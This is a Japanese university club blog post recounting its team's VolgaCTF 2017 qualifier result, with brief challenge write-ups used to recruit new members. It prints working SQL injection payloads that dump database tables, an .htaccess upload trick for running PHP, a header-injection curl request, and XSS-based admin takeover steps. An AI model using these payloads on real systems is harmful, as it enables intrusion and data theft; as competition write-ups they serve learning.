feature image

2017年4月14日 | 活動紹介

VolgaCTF 2017 Quals に出た話【新歓ブログリレー2017 11日目】

こんにちは。チームNaruseJunの中の人です。

今日は、CTFに出た話をしたいと思います。
新歓ブログリレー中なので新入生向けに書いておくと、CTFは基本的にチーム戦で、オンラインで行われることが多いです。
予選(Quals)でいい成績を残すと、オンサイト(実際に集まって競技)に招待されます。

そもそもCTFってなんだよって人は、新歓Webを見てください。
https://trapti.tech/welcome/

traPにはNaruseJunとかいうCTFチームがあって、中の人は全部で10数人いるんですが、毎回4〜5人で大会に出てます。
最近はサイバーコロッセオというイベントに顔を出しました。
/post/167/

VolgaCTF 2017 Quals

この前、?に出ました。
結果は12位(1115チーム中)で、日本国内から出場したチームではトップでした。

https://ctftime.org/event/374
https://aspyatkin.com/volgactf-2017-quals-key-metrics/

めでたく本戦(Finals)に招待して頂きました。ということで夏にロシア行ってきます。
https://volgactf.ru/

Writeup

VC (crypto 50pt) [phi]

2枚の画像があるので差の絶対値を取るとフラグが見える

KeyPass (reverse 100pt) [ponya, kaz]

入力文字列からセキュア(らしい)なキーを生成するプログラムと、
そこから生成されたキーで暗号化されたファイルが渡される。

ですが、キー生成プログラムに不備があるので有限個(256個)しかキーが生成されません。
ということで全部試せば終わる。


<?php
function getraw(){
$ar = [];
for($i = 0; $i < 0xFF; $i++){
$ar[] = mt_rand(0x01, 0xFF);
}
return implode("", array_map(function($e){
return "\\$e";
}, $ar));
}

while(1){
$raw = getraw();
$key = trim(`./keypass "$(printf "$raw")"`);

$r = 0;
system("openssl enc -aes-128-cbc -d -in flag.zip.enc -out flag.zip -pass pass:'$key'", $r);
if($r == 0){
echo("OK!! $r $key \n");
break;
}else{
echo("Fail $r $key \n");
}
}
?>

Telemap (web/exploits 200pt) [kaz]

TelegramのBotに攻撃する。
IPアドレスを投げるとnmapをかけてくれるんですが、ここでOSコマンドインジェクションができる。

API制限でBOTが死んだためフラグが無料で配られました。

Angry Guessing Game (reverse 200pt) [kaz, kriw]

数当てゲーム。途中で「試用版なのでライセンスキー入れてね!」みたいなこと言われて、これがたぶんFLAGです。

問題名からして、angrを使うのかな〜っと思ったんですが、radare2で探したら簡単に見つかりました。

.------------------------------------------------.
|  0x67da ;[ga]                                  |
|      ; JMP XREF from 0x000067d5 (fcn.000067d0) |
| mov rax, qword [rdi]                           |
|    ; [0x56:1]=0                                |
|    ; 'V'                                       |
| cmp byte [rax], 0x56                           |
| sete cl                                        |
|    ; [0x6f:1]=0                                |
|    ; 'o'                                       |
| cmp byte [rax + 1], 0x6f                       |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x6c:1]=0                                |
|    ; 'l'                                       |
| cmp byte [rax + 2], 0x6c                       |
| sete sil                                       |
|    ; [0x67:1]=0                                |
|    ; 'g'                                       |
| cmp byte [rax + 3], 0x67                       |
| sete cl                                        |
| and cl, sil                                    |
| and cl, dl                                     |
|    ; [0x61:1]=2                                |
|    ; 'a'                                       |
| cmp byte [rax + 4], 0x61                       |
| sete sil                                       |
|    ; [0x43:1]=0                                |
|    ; 'C'                                       |
| cmp byte [rax + 5], 0x43                       |
| sete dil                                       |
| and dil, sil                                   |
|    ; [0x54:1]=0                                |
|    ; 'T'                                       |
| cmp byte [rax + 6], 0x54                       |
| sete dl                                        |
| and dl, dil                                    |
| and dl, cl                                     |
|    ; [0x46:1]=0                                |
|    ; 'F'                                       |
| cmp byte [rax + 7], 0x46                       |
| sete sil                                       |
|    ; [0x7b:1]=0                                |
|    ; '{'                                       |
| cmp byte [rax + 8], 0x7b                       |
| sete cl                                        |
| and cl, sil                                    |
|    ; [0x65:1]=0                                |
|    ; 'e'                                       |
| cmp byte [rax + 9], 0x65                       |
| sete sil                                       |
| and sil, cl                                    |
|    ; [0x62:1]=0                                |
|    ; 'b'                                       |
| cmp byte [rax + 0xa], 0x62                     |
| sete dil                                       |
| and dil, sil                                   |
| and dil, dl                                    |
|    ; [0x36:1]=56                               |
|    ; '6'                                       |
| cmp byte [rax + 0xb], 0x36                     |
| sete sil                                       |
|    ; [0x37:1]=0                                |
|    ; '7'                                       |
| cmp byte [rax + 0xc], 0x37                     |
| sete dl                                        |
| and dl, sil                                    |
|    ; [0x35:1]=0                                |
|    ; '5'                                       |
| cmp byte [rax + 0xd], 0x35                     |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x65:1]=0                                |
|    ; 'e'                                       |
| cmp byte [rax + 0xe], 0x65                     |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x62:1]=0                                |
|    ; 'b'                                       |
| cmp byte [rax + 0xf], 0x62                     |
| sete r8b                                       |
| and r8b, dl                                    |
| and r8b, dil                                   |
|    ; [0x37:1]=0                                |
|    ; '7'                                       |
| cmp byte [rax + 0x10], 0x37                    |
| sete sil                                       |
|    ; [0x39:1]=0                                |
|    ; '9'                                       |
| cmp byte [rax + 0x11], 0x39                    |
| sete dl                                        |
| and dl, sil                                    |
|    ; [0x65:1]=0                                |
|    ; 'e'                                       |
| cmp byte [rax + 0x12], 0x65                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x62:1]=0                                |
|    ; 'b'                                       |
| cmp byte [rax + 0x13], 0x62                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x30:1]=0                                |
|    ; '0'                                       |
| cmp byte [rax + 0x14], 0x30                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x39:1]=0                                |
|    ; '9'                                       |
| cmp byte [rax + 0x15], 0x39                    |
| sete dil                                       |
| and dil, cl                                    |
| and dil, r8b                                   |
|    ; [0x35:1]=0                                |
|    ; '5'                                       |
| cmp byte [rax + 0x16], 0x35                    |
| sete sil                                       |
|    ; [0x61:1]=2                                |
|    ; 'a'                                       |
| cmp byte [rax + 0x17], 0x61                    |
| sete cl                                        |
| and cl, sil                                    |
|    ; [0x30:1]=0                                |
|    ; '0'                                       |
| cmp byte [rax + 0x18], 0x30                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x39:1]=0                                |
|    ; '9'                                       |
| cmp byte [rax + 0x19], 0x39                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x35:1]=0                                |
|    ; '5'                                       |
| cmp byte [rax + 0x1a], 0x35                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x63:1]=0                                |
|    ; 'c'                                       |
| cmp byte [rax + 0x1b], 0x63                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x31:1]=0                                |
|    ; '1'                                       |
| cmp byte [rax + 0x1c], 0x31                    |
| sete r8b                                       |
| and r8b, cl                                    |
| and r8b, dil                                   |
|    ; [0x65:1]=0                                |
|    ; 'e'                                       |
| cmp byte [rax + 0x1d], 0x65                    |
| sete sil                                       |
|    ; [0x36:1]=56                               |
|    ; '6'                                       |
| cmp byte [rax + 0x1e], 0x36                    |
| sete cl                                        |
| and cl, sil                                    |
|    ; [0x34:1]=64                               |
|    ; '4'                                       |
| cmp byte [rax + 0x1f], 0x34                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x37:1]=0                                |
|    ; '7'                                       |
| cmp byte [rax + 0x20], 0x37                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x30:1]=0                                |
|    ; '0'                                       |
| cmp byte [rax + 0x21], 0x30                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x39:1]=0                                |
|    ; '9'                                       |
| cmp byte [rax + 0x22], 0x39                    |
| sete cl                                        |
| and cl, dl                                     |
|    ; [0x34:1]=64                               |
|    ; '4'                                       |
| cmp byte [rax + 0x23], 0x34                    |
| sete dl                                        |
| and dl, cl                                     |
|    ; [0x30:1]=0                                |
|    ; '0'                                       |
| cmp byte [rax + 0x24], 0x30                    |
| sete cl                                        |
| and cl, dl                                     |
| and cl, r8b                                    |
|    ; [0x37:1]=0                                |
|    ; '7'                                       |
| cmp byte [rax + 0x25], 0x37                    |
| sete sil                                       |
|    ; [0x62:1]=0                                |
|    ; 'b'                                       |
| cmp byte [rax + 0x26], 0x62                    |
| sete dl                                        |
| and dl, sil                                    |
|    ; [0x63:1]=0                                |
|    ; 'c'                                       |
| cmp byte [rax + 0x27], 0x63                    |
| sete sil                                       |
| and sil, dl                                    |
|    ; [0x36:1]=56                               |
|    ; '6'                                       |
| cmp byte [rax + 0x28], 0x36                    |
| sete dl                                        |
| and dl, sil                                    |
| and dl, cl                                     |
|    ; [0x7d:1]=0                                |
|    ; '}'                                       |
| cmp byte [rax + 0x29], 0x7d                    |
| sete al                                        |
| test al, dl                                    |
| setne al                                       |
| ret                                            |
`------------------------------------------------'

Corp News (web 300pt) [kaz]

企業のニュースを配信するサイト?
登録できる。

登録後にフィードバックを送信するところがあるので、XSSができる。
ただし、セッションクッキーがhttpOnlyなので盗むことができない。

が、パスワード変更APIがあるので、それを叩かせて管理者アカウントを奪うことができる。
管理者アカウントでログインすると、Secret Headerという文字列が取得できる。

ここで、ニュース取得API /news

Please, set debug header true, becouse the app in developing state:)

とか言ってたのを思い出します。
このAPIはJSONを受け取っているのですが、ここにアプリが送っているJSONをちょっといじって
{"resultFormat": "aaa"}
を送ってみると、

result_format (texsdfsdft) is not recognized, ('auto', 'json', 'jsonp', 'text', and 'binary' are allowed).

ということで、バックエンドにRethinkDBがいることがわかります。
https://www.rethinkdb.com/api/javascript/http/ を参考にして、裏でHTTPリクエストを飛ばすときに Debug: true を送らせるとニュースが見れるようになります。

さらに、先ほど入手したSecret headerも一緒に送るとFLAGが落ちてきます。
(このSecret headerを送らせるの、ヒントがないしどうやって気がつくんでしょうか……)

curl -X POST -H "Cookie: PHPSESSID=s%3A9Wst52yXI2kUbIPa4YE1gLTSPIpGDiwV.hc8bfOnyjidLjDsdcY7kTNsFlj0margtFr%2BGmAgupxI" http://corp-news2.quals.2017.volgactf.ru/news -d '{"header":["debug: true", "secret: asdJHF7dsJF65$FKFJjfjd773ehd
5fjsdf7"]}'

Bloody Feedback (web 100pt) [kaz]

お問い合わせフォームみたいなもの。
Emailの入力欄にSQLiがありました。

ERROR: DBD::Pg::db do failed: ERROR: INSERT has more target columns than expressions
LINE 1: INSERT INTO messages (code,name,message,email,status) VALUES...

DBから引っ張ってきたデータを表示する部分があるので、カンタンです。

', (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 1 OFFSET 1))--
', (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 's3cret_tabl3'))--
', (SELECT s3cr3tc0lumn FROM s3cret_tabl3 WHERE s3cr3tc0lumn LIKE 'VolgaCTF{%}' LIMIT 1))--

Sneaky Tags (web 300pt) [kaz]

タグを発行できて、このタグをTwitterに投稿すると、その投稿が追跡できるみたいなサービス。

このタグに好きな名前をつけられるのですが、この名前はTwitterから投稿を取得してDBを更新する際にエスケープされずに使用されています。
いわゆるセカンドオーダーSQLインジェクションです。

' UNION SELECT 1,2,3,GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' #
' UNION SELECT 1,2,3,GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME IN("tag","tweet","user") #
' UNION SELECT 1,2,3,GROUP_CONCAT(tag) FROM tag WHERE account_id <= 10 #

↑みたいな名前のタグを作成して、DB更新を起こさせると、account_idが小さいadminアカウントが作成したタグ名にFLAGがあります。

Share Point (web 200pt) [kaz]

ファイルアップロードと共有ができるサービス。
.phpのファイルはアップできない、が.htaccessがアップできるので、

AddType application/x-httpd-php .txt

とかすると.txtで任意のPHPがコードが実行できる。
あとはfind / -name flagとかして見つけたファイルを読みに行けば終わり。

PyCrypto (crypto/reverse 150pt) [nari]

入力とkey(120bit)をxorするだけなので真心込めて手動decryptします。

Curved (crypto 200pt) [nari]

楕円曲線でコマンド文字列に署名を与えて、その署名が無いとコマンドが実行できないようなサーバが相手。
楕円曲線とは関係なく、与えられたsignature2つをよく見るとrの値が一致しているので、そこから等式を導出すると、任意のコマンド文字列の署名を生成することができます。
よって"cat flag"の署名を作って送るとフラグが見えます。

Casino (crypto 250pt) [nari]

Nの値がサーバ接続時にランダムに決まるので、N=24を引くと仮定します。
するとあり得るpolyの数も少ないので全探索します。
20回データを取ることができるので、next_bitは120bit分取れますが、mod 42のせいで不確定になるけど50%ぐらいなので、あり得るstateも全探索します。
なので、これぐらいのことを処理するC++コードを書いて、後はN=24を引くまで「接続→Proof of Work→全探索」を繰り返します。N=24を引いた場合全探索で条件を満たしたpolyとstateが見つかるので、それを使って100勝します。
理論的には時間をかければこれで解けます。
以下は120回のnext_bitの結果を受け取って、可能なstate,polyペアを探すC++プログラムです。


#include <stdio.h>
#include <string>
#include <iostream>
#include <vector>
#include <algorithm>

#include <omp.h>

using namespace std;

typedef vector<int> vi;

typedef int _loop_int;
#define REP(i,n) for(_loop_int i=0;i<(_loop_int)(n);++i)
#define FOR(i,a,b) for(_loop_int i=(_loop_int)(a);i<(_loop_int)(b);++i)
#define FORR(i,a,b) for(_loop_int i=(_loop_int)(b)-1;i>=(_loop_int)(a);--i)

/*
def gen_poly(deg):
poly = [0 for _ in range(deg + 1)]
while True:
n = random.randrange(deg // 8, deg // 2)
n |= 1
powers = random.sample(range(1, deg), n)
powers.append(deg)
if reduce(gcd, tuple(powers)) == 1:
break
for i in range(n):
poly[powers[i]] = 1
poly[0] = poly[deg] = 1
# poly.pop_front()
return poly
*/

vi poly_all(int n){
vi ret;
FOR(num,n/8,n/2){
if((num&1)==0)continue;
// num from 1 ~ n-1
vi P(n-1,0);
REP(i,num)P[n-2-i]=1;
do{
int gcd = n;
REP(i,n-1)if(P[i]){
gcd = __gcd(gcd,i+1);
}
if(gcd==1){
// ok
int poly = 0;
poly |= 1;
REP(i,n-1)poly |= P[i]<<(n-1-i);
ret.push_back(poly);
}
}while(next_permutation(P.begin(),P.end()));
}
return ret;
}

vi state_all(int n,string s){
vi ret[2];
ret[0].push_back(0);
REP(i,n){
char c = s[i];
if(c=='0' || c=='?'){
REP(j,ret[0].size()){
int x = ret[0][j];
int y = x;
ret[1].push_back(y);
}
}
if(c=='1' || c=='?'){
REP(j,ret[0].size()){
int x = ret[0][j];
int y = x | (1<<i);
ret[1].push_back(y);
}
}
ret[0].swap(ret[1]);
ret[1].clear();
}
return ret[0];
}

int find_valid_state(int n,int poly, vi inits, string s){
vi dp[2];
dp[0] = inits;
REP(i,s.size()){
char c = s[i];
if(c=='?'){
REP(j,dp[0].size()){
int st = dp[0][j];
int head = __builtin_popcount(poly&st)&1;
int nst = (st>>1) | (head<<(n-1));
dp[1].push_back(nst);
}
}else if(c=='0'){
REP(j,dp[0].size()){
int st = dp[0][j];
if(st%2==0){
int head = __builtin_popcount(poly&st)&1;
int nst = (st>>1) | (head<<(n-1));
dp[1].push_back(nst);
}
}
}else{
REP(j,dp[0].size()){
int st = dp[0][j];
if(st%2==1){
int head = __builtin_popcount(poly&st)&1;
int nst = (st>>1) | (head<<(n-1));
dp[1].push_back(nst);
}
}
}
if(dp[1].size()==0)return -1;
dp[0].swap(dp[1]);
dp[1].clear();
}
return dp[0][0];
}

int main(){
string s;
cin>>s;

omp_lock_t llock;
omp_init_lock(&llock);
int ans_n = -1;
int ans_poly = -1;
int ans_state = -1;
FOR(n,24,25){
vi polys = poly_all(n);
// s[i] = 0 : next_bit() in i times is 0
// s[i] = 1 : next_bit() in i times is 1
// s[i] = ? : next_bit() in i times is undetermined
vi inits = state_all(n,s);
// test all poly
omp_set_num_threads(4);
#pragma omp parallel for
REP(j,16){
REP(i,polys.size()/16){
if(i*16+j >= polys.size())break;
int poly = polys[i*16+j];
int state = find_valid_state(n, poly, inits, s);
if(state != -1){
omp_set_lock(&llock);
ans_n = n;
ans_poly = poly;
ans_state = state;
omp_unset_lock(&llock);
break;
}
omp_set_lock(&llock);
if(ans_n != -1){
omp_unset_lock(&llock);
break;
}else{
omp_unset_lock(&llock);
}
}
}
}
if(ans_n==-1){
puts("NG...");
}else{
printf("%d\n%d\n%d\n",ans_n,ans_poly,ans_state);
}
return 0;
}

Oracle (crypto 250pt) [nari]

UPDでcipherが出てるのでそれとサーバオラクルを使ってpadding oracle attackします。
あとはIV(またはtimestamp)が分かれば完全にpadding oracle attackできるのですが、IV=0としてpadding oracle attackを続行すると複号に成功します。

おわり

いっしょにCTFしてくれる新入生大募集中です。
4/19(水)には「競プロ/CTF体験会」があるので来てね!
https://trapti.tech/welcome/

明日はpoppon_seadragonとuynetの記事です。お楽しみに。

kaz icon
この記事を書いた人
kaz

シスアド班の人です。サーバー/部内システム/インフラを管理しています。 好きな言語はPerl/JavaScript/Go、エディタはSublimeText3です。

この記事をシェア

このエントリーをはてなブックマークに追加
共有

関連する記事

2022年4月7日
traPグラフィック班の活動紹介
annin icon annin
2021年8月12日
CPCTFを支えたWebshell
mazrean icon mazrean
2021年5月19日
CPCTF2021を実現させたスコアサーバー
xxpoxx icon xxpoxx
2021年3月19日
traPグラフィック班の活動紹介
NABE icon NABE
2025年3月5日
2024年度冬ハッカソン12班「Hero Girl」
gurukun41 icon gurukun41
2023年9月26日
traP コンペ 2023 夏 sponsored by ピクシブ株式会社 運営後記
abap34 icon abap34
記事一覧 タグ一覧 Google アナリティクスについて 特定商取引法に基づく表記